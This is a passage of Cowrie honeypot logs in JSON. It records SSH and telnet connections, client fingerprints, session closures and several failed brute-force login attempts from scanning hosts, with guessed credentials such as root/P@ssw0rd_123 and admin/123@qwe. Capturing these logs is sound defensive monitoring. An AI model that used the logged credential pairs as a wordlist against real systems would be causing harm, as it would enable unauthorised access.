sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:19.408617Z","src_ip":"68.183.236.1","session":"3afd6ca3eddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.165817737579346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:20.014676Z","src_ip":"149.56.25.198","session":"b435585ef971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40522,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8895858163d","protocol":"ssh","message":"New connection: 159.203.92.129:40522 (159.203.135.109:22) [session: c8895858163d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:20.195143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:20.199764Z","src_ip":"159.203.92.129","session":"c8895858163d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:20.203586Z","src_ip":"159.203.92.129","session":"c8895858163d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123@qwe","message":"login attempt [admin/123@qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:20.213306Z","src_ip":"159.203.92.129","session":"c8895858163d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test9","password":"test9","message":"login attempt [test9/test9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:20.390774Z","src_ip":"68.183.236.1","session":"3afd6ca3eddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.287055730819702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:21.016232Z","src_ip":"149.56.25.198","session":"1321b859bb90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:21.220039Z","src_ip":"159.203.92.129","session":"c8895858163d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:21.631091Z","src_ip":"68.183.236.1","session":"3afd6ca3eddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1307852268219,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:21.895751Z","src_ip":"149.56.25.198","session":"9dfc88f5d5ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50983500480652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:22.229446Z","src_ip":"149.56.25.198","session":"2a5c3f8f27ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54001021385193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:23.287871Z","src_ip":"149.56.25.198","session":"c33bc2273066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583876848220825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:24.229497Z","src_ip":"149.56.25.198","session":"bcb3ceb3fbee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209710836410522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:24.237332Z","src_ip":"149.56.25.198","session":"ce9de257b789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96131992340088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:25.016935Z","src_ip":"149.56.25.198","session":"96d27dd9e6e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190394639968872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:25.229357Z","src_ip":"149.56.25.198","session":"e6ba21e60cc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050660610198975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:25.233992Z","src_ip":"149.56.25.198","session":"9d1a8353c528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":33490,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec1dd9c26541","protocol":"telnet","message":"New connection: 149.56.25.198:33490 (10.17.0.5:23) [session: ec1dd9c26541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:25.495361Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":33500,"dst_ip":"10.17.0.5","dst_port":23,"session":"4faf9cb8152c","protocol":"telnet","message":"New connection: 149.56.25.198:33500 (10.17.0.5:23) [session: 4faf9cb8152c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:25.870892Z"}
{"eventid":"cowrie.session.closed","duration":30.676012754440308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:26.011634Z","src_ip":"149.56.25.198","session":"d2513e77602e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":33508,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b313fbe9ac7","protocol":"telnet","message":"New connection: 149.56.25.198:33508 (10.17.0.5:23) [session: 2b313fbe9ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:26.052607Z"}
{"eventid":"cowrie.session.closed","duration":30.316718578338623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:28.026408Z","src_ip":"149.56.25.198","session":"060706c4e190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886474132537842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:29.028201Z","src_ip":"149.56.25.198","session":"cdd6782d72cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":33520,"dst_ip":"10.17.0.5","dst_port":23,"session":"41730930efbb","protocol":"telnet","message":"New connection: 149.56.25.198:33520 (10.17.0.5:23) [session: 41730930efbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:29.614374Z"}
{"eventid":"cowrie.session.closed","duration":30.971163988113403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:30.026878Z","src_ip":"149.56.25.198","session":"f2e165e9863c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.278434991836548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:31.029498Z","src_ip":"149.56.25.198","session":"5eecbe18e97b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":33530,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7e5fa77c5ec","protocol":"telnet","message":"New connection: 149.56.25.198:33530 (10.17.0.5:23) [session: a7e5fa77c5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:32.626342Z"}
{"eventid":"cowrie.session.closed","duration":30.382104873657227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:33.021416Z","src_ip":"149.56.25.198","session":"1852851b49d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662774801254272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:33.025416Z","src_ip":"149.56.25.198","session":"92d8d2ff3367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760589599609375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:33.028382Z","src_ip":"149.56.25.198","session":"5f4e5ab0f4fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97309160232544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:35.028579Z","src_ip":"149.56.25.198","session":"fc54c08397e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745790719985962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:36.028874Z","src_ip":"149.56.25.198","session":"bf991f7e3b07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70436406135559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:37.020778Z","src_ip":"149.56.25.198","session":"a1b02d9e7aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595402717590332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:37.028527Z","src_ip":"149.56.25.198","session":"a31d92c89e48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":41872,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e3f2cb93f21","protocol":"telnet","message":"New connection: 149.56.25.198:41872 (10.17.0.5:23) [session: 1e3f2cb93f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:37.770745Z"}
{"eventid":"cowrie.session.closed","duration":30.985968112945557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:39.030499Z","src_ip":"149.56.25.198","session":"365a89b1909a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968029499053955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:40.025891Z","src_ip":"149.56.25.198","session":"3028437582cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009722471237183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:42.024495Z","src_ip":"149.56.25.198","session":"54c1f2cb540e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.454628229141235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:42.028481Z","src_ip":"149.56.25.198","session":"00d237bbab0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.621628046035767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:42.032332Z","src_ip":"149.56.25.198","session":"5ec94c0ac91e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":41882,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb7925a238f2","protocol":"telnet","message":"New connection: 149.56.25.198:41882 (10.17.0.5:23) [session: cb7925a238f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:44.851402Z"}
{"eventid":"cowrie.session.closed","duration":30.514748573303223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:45.026451Z","src_ip":"149.56.25.198","session":"e4d9f7619af9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972623586654663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:47.025514Z","src_ip":"149.56.25.198","session":"dbad1d00b9e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":60614,"dst_ip":"10.17.0.5","dst_port":22,"session":"09ddf727bb41","protocol":"ssh","message":"New connection: 165.154.5.148:60614 (10.17.0.5:22) [session: 09ddf727bb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:47.450066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:47.458265Z","src_ip":"165.154.5.148","session":"09ddf727bb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:47.670673Z","src_ip":"165.154.5.148","session":"09ddf727bb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.21644949913025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:48.021604Z","src_ip":"149.56.25.198","session":"6520a063069b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688648462295532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:48.026827Z","src_ip":"149.56.25.198","session":"2cb06ebf7545","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd_123","message":"login attempt [root/P@ssw0rd_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:48.551995Z","src_ip":"165.154.5.148","session":"09ddf727bb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.066041231155396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:49.020493Z","src_ip":"149.56.25.198","session":"7f050f9f57c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:49.767879Z","src_ip":"165.154.5.148","session":"09ddf727bb41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47722,"dst_ip":"10.17.0.5","dst_port":23,"session":"e151354b47f4","protocol":"telnet","message":"New connection: 149.56.25.198:47722 (10.17.0.5:23) [session: e151354b47f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:49.772690Z"}
{"eventid":"cowrie.session.closed","duration":30.98212194442749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:50.025010Z","src_ip":"149.56.25.198","session":"389e3789c81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47726,"dst_ip":"10.17.0.5","dst_port":23,"session":"44fbb154603e","protocol":"telnet","message":"New connection: 149.56.25.198:47726 (10.17.0.5:23) [session: 44fbb154603e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:51.160189Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":39714,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f0d728e4108","protocol":"ssh","message":"New connection: 176.53.96.10:39714 (10.17.0.5:22) [session: 0f0d728e4108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:52.666424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:52.678786Z","src_ip":"176.53.96.10","session":"0f0d728e4108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:52.801581Z","src_ip":"176.53.96.10","session":"0f0d728e4108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47728,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bae65c0a2fa","protocol":"telnet","message":"New connection: 149.56.25.198:47728 (10.17.0.5:23) [session: 9bae65c0a2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:53.106341Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456Ab","message":"login attempt [ubuntu/123456Ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:53.328115Z","src_ip":"176.53.96.10","session":"0f0d728e4108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47734,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e4facc7730","protocol":"telnet","message":"New connection: 149.56.25.198:47734 (10.17.0.5:23) [session: 00e4facc7730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:53.947552Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47744,"dst_ip":"10.17.0.5","dst_port":23,"session":"08525801724f","protocol":"telnet","message":"New connection: 149.56.25.198:47744 (10.17.0.5:23) [session: 08525801724f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:54.197401Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:54.456634Z","src_ip":"176.53.96.10","session":"0f0d728e4108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.531852960586548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:56.027085Z","src_ip":"149.56.25.198","session":"ec1dd9c26541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16136932373047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:56.032092Z","src_ip":"149.56.25.198","session":"4faf9cb8152c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97396206855774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:57.026367Z","src_ip":"149.56.25.198","session":"2b313fbe9ac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408518314361572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:00.022778Z","src_ip":"149.56.25.198","session":"41730930efbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51310,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb8cfd0cde8f","protocol":"ssh","message":"New connection: 159.203.92.129:51310 (159.203.135.109:22) [session: fb8cfd0cde8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:01.417588Z"}
